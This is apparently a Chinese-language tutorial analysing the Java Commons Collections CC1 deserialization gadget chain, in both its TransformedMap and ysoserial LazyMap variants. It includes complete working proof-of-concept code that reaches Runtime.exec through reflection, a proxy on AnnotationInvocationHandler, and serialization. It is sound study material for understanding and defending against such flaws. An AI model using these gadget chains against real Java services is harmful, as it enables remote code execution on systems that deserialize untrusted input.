Java利用链CommonCollections1分析

初始版本的CC1利用链

1
2
3
4
5
6
7
8
9
10
11
12
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "111");
}
}

成功弹窗

image-20240106153823684

逐步分析利用链,首先分析

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc"}),
};

Transformer

这是一个接口,声明了transform方法

image-20240106154207977

ConstantTransformer

该类实现了Transformer接口,所以也实现了transform方法,该方法的内容是返回构造函数参数的对象

因为构造的参数是Runtime.getRuntime()所以最终返回的对象是Runtime类

image-20240106154505952

InvokerTransformer

InvokerTransformer类同样主要看实现的transform方法

主要内容是判断参数是否为null,不为null并且没有其它异常则执行方法的调用

我们的构造参数为(”exec”, new Class[]{String.class},new Object[]{“calc”})则会执行exec方法,参数为calc就是弹计算器的操作

image-20240106154834154

再看第二条代码

1
Transformer transformerChain = new ChainedTransformer(transformers);

ChainedTransformer

ChainedTransformer中的transform方法为遍历构造函数参数的Transformer类数组,执行类的transform方法,transform的参数为上一个类transform方法返回的结果

image-20240108133755147

我们传入的参数是

1
2
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

根据前面对ConstantTransformer和InvokerTransformer的transform函数的分析,先执行ConstantTransformer的transorm函数返回Runtime类,再执行InvokerTransformer的transform函数参数为Runtime类,执行Runtime的exec方法弹出计算器

接下来看如何触发ChainedTransformer

1
2
3
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "111");

TransformedMap

TransormedMap底层也是继承了Map,是Map的装饰类,decorate方法

对Map进行装饰生成TransformedMap,因为构造方法为protected属性无法直接访问所以用decorate获得

image-20240108135106662

再看TransormedMap的put函数

执行会触发transformKey和transformValue方法

image-20240108135423472

现在看下这两个方法,如果值不为null,则触发transform方法,我们设置map的key或value为ChainedTransformer就能成功触发整个利用链

image-20240108135559308

可是最终的结果是需要反序列化触发的,需要找到一个办法来替代之前通过put方法来手动触发的办法

找到的这个类就是sun.reflect.annotation.AnnotationInvocationHandler

AnnotationInvocationHandler

因为需要反序列化触发,所以看AnnotationInvocationHandler的ReadObject方法

在Jdk 8u71以前的版本

image-20240115103039599

其中的meberValues就是我们传入的TransformedMap对象

然后进行遍历设值,在Map中有接口Entry=>setValue()会直接触发put操作,也就是触发TransformedMap的实现类ChainedTransformer的put,导致利用链执行

在Jdk 8u71以后的版本的readObject方法

会新建一个LinkedHashMap,所有的操作会在新的LinkedHashMap中进行,所以导致在Jdk 8u71以后的版本无法利用

image-20240115105535814

利用TransformedMap的CC1利用链

在了解完所有类后完整的POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class CommonCollections1B {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0]
}),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc" }),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}

在之前创建Transformer中是直接使用Runtime.getRuntime获得的直接是Runtime类对象java.lang.Runtime

1
2
3
4
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
}

但是该类并没有实现java.io.Serializable所以不支持反序列化

image-20240115121632798

所以可以通过反射来获取到上下文中的Runtime对象,新的写法就为

1
2
3
4
5
6
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
};

获取的是Runtime.class对象 是java.lang.Class对象

在之后的内容中触发序列化链

1
2
3
4
5
6
7
8
9
10
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);

InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

因为在AnnotationInvocationHandler的readObject方法中需要满足不等于null才会继续执行

image-20240115125319263

而不满足null的条件是

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是A
  2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为A的元素

因此用到了Retention.class,该类中有value方法,该类原用于指定注解保留策略

1
2
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
1
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

image-20240115125944093

在之后进行序列化和反序列化成功弹出计算器,利用CC1链成功

1
2
3
4
5
6
7
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

image-20240115130311130

ysoserial中利用LazyMap的CC1利用链

在ysoserial中利用的是LazyMap

image-20240115132617741

看下LazyMap与TransformedMap一样都是来自Common-Collections库中的,继承AbstractMapDecorator。

image-20240115132704437

LazyMap是通过get方法进行触发的,LazyMap为懒加载在get不到值的时候调用factory.transform获取value值put到map里并返回value

image-20240115134937850

但是在AnnotationInvocationHandler的readObject方法中没有直接用到get方法,ysoserial利用了AnnotationInvocationHandler的invoke方法进行调用get

image-20240115143423986

因为AnnotationInvocationHandler实现InvocationHandler,通过jdk动态代理对该对象进行代理,在readObject反序列化时调用任意方法就会调用invoke方法,从而执行LazyMap的get方法

对AnnotationInvocationHandler进行Proxy

1
2
3
4
5
6
7
8
9
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

因为最终利用链是需要通过readObject方法来进行触发的,所以readObject方法还是

入口点,当对象调用到readObject方法里面会调用porxyMap中的相关方法导致invoke触发,所以还要再包裹一层进行传入

1
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

最终的POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class CommonCollections1C {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

成功弹出计算器

image-20240115150221455

因为LazyMap实现的这条链,没有用到put方法,所以构造函数时也不需要Retention来满足条件

__END__